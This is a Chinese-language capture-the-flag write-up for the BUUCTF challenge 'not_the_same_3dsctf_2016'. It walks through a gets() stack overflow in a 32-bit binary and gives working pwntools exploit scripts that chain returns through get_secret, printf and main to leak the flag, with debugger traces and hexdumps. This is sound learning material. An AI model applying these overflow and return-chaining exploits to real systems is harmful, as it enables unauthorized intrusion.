[PWN] BUUCTF not_the_same_3dsctf_2016 1 Writeup

原创

Csome-Official 于 2021-05-21 16:46:04 发布 121 收藏 2

解题

checksec

先checksec一下，发现没有开canary方便了栈溢出，PIE也没开

```
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)
```

反编译

IDA反编译
main函数

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+Fh] [ebp-2Dh]

  printf("b0r4 v3r s3 7u 4h o b1ch4o m3m0... ");
  gets(&v4);
  return 0;
}
```

get_secret函数

```
int get_secret()
{
  int v0; // esi

  v0 = fopen("flag.txt", &unk_80CF91B);
  fgets(&fl4g, 45, v0);
  return fclose(v0);
}
```

分析利用

程序先进入main函数，有一个gets（无限长度的栈溢出）
get_secret函数是将flag.txt读入bss段中，并没有做输出的操作

思路：，在main函数中修改main函数的返回地址，返回到get_secret函数中，读取flag，再返回到mian函数中（**第二次进入main函数**），修改返回地址为printf的地址，传入flag地址。
但这是会发现，程序没有关掉输入输出缓冲区，故需要程序正常退出才能打印输出。
故，构造printf返回地址为main函数（**第三次进入main函数**），修改main函数返回地址为，原正常程序的返回地址

实践

```
from pwn import *

context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)

e = ELF('./not_the_same_3dsctf_2016')

getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D

p1 = 'a' * 0x2d + p32(getflag) + p32(maina)

r.sendline(p1)

p2 = 'a'*0x2d + p32(e.sym['printf']) + 'aaaa' + p32(flag)
r.sendline(p2)

r.interactive()
```

```
00000030  08 e0 89 04  08 0a                                  |····|··|
00000036
[DEBUG] Sent 0x3a bytes:
00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  |aaaa|aaaa|aaaa|aaaa|
*
00000020  61 61 61 61  61 61 61 61  61 61 61 61  61 a0 f0 04  |aaaa|aaaa|aaaa|a···|
00000030  08 61 61 61  61 2d ca 0e  08 0a                     |·aaa|a-··|··|
0000003a
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$
```


没有输出flag

动态调试

```
pwndbg> stack 20
00:0000| esp 0xfff4854c —▸ 0x8048c2e (generic_start_main+542) ◂— add    esp, 0x10
01:0004|     0xfff48550 ◂— 0x1
02:0008|     0xfff48554 —▸ 0xfff48604 —▸ 0xfff490ca ◂— './not_the_same_3dsctf_2016'
03:000c|     0xfff48558 —▸ 0xfff4860c —▸ 0xfff490e5 ◂— 'LANG=C.UTF-8'
04:0010|     0xfff4855c —▸ 0xfff48574 —▸ 0x804818c (_init) ◂— push   ebx
05:0014|     0xfff48560 ◂— 0x0
06:0018|     0xfff48564 ◂— 0x1
07:001c|     0xfff48568 —▸ 0xfff48604 —▸ 0xfff490ca ◂— './not_the_same_3dsctf_2016'
08:0020|     0xfff4856c —▸ 0x80489e0 (main) ◂— sub    esp, 0x3c
09:0024|     0xfff48570 ◂— 0x0
0a:0028| edx 0xfff48574 —▸ 0x804818c (_init) ◂— push   ebx
0b:002c|     0xfff48578 —▸ 0x80eb00c (_GLOBAL_OFFSET_TABLE_+12) —▸ 0x8064c90 (__strcpy_ssse3) ◂— mov
0c:0030|     0xfff4857c ◂— 'enti'
0d:0034|     0xfff48580 ◂— 0x0
0e:0038|     0xfff48584 ◂— 0x8cde0f9f
0f:003c|     0xfff48588 ◂— 0x6cc34670
10:0040|     0xfff4858c ◂— 0x0
```


函数正常退出的返回地址是`0x8048c2e`

```
0xffef2ccc —▸ 0x8048c2e (generic_start_main+542)
```

故第三次返回mian修改返回地址为0x8048c2e

完整exp

```python
from pwn import *

context.log_level='debug'
r = process('./not_the_same_3dsctf_2016')
# r = gdb.debug('./not_the_same_3dsctf_2016', 'break main')
# r = remote('node3.buuoj.cn',00000)

e = ELF('./not_the_same_3dsctf_2016')

getflag = 0x080489A0
maina = 0x080489E0
flag = 0x080ECA2D

p1 = 'a' * 0x2d + p32(getflag) + p32(maina)

r.sendline(p1)

p2 = 'a'*0x2d + p32(e.sym['printf']) + p32(maina) + p32(flag)
r.sendline(p2)

p3 = 'a'*0x2d + p32(0x8048c2e)
r.sendline(p3)

r.interactive()
```

获取flag

```
[*] Switching to interactive mode
[DEBUG] Received 0x94 bytes:
    'b0r4 v3r s3 7u 4h o b1ch4o m3m0... b0r4 v3r s3 7u 4h o b1ch4o m3m0... flag{28681263-c787-4d84-8c2f-33526fbd20e2}\n'
    'b0r4 v3r s3 7u 4h o b1ch4o m3m0... '
b0r4 v3r s3 7u 4h o b1ch4o m3m0... b0r4 v3r s3 7u 4h o b1ch4o m3m0... flag{28681263-c787-4d84-8c2f-33526fbd20e2}
b0r4 v3r s3 7u 4h o b1ch4o m3m0... [*] Got EOF while reading in interactive
```

小结

1. 相对于需要修改栈区权限的方法，这个更加简单。
2. 三次返回main函数的想法是动态调试一步一步试出来的
3. 我是ctf萌新，正在不断学习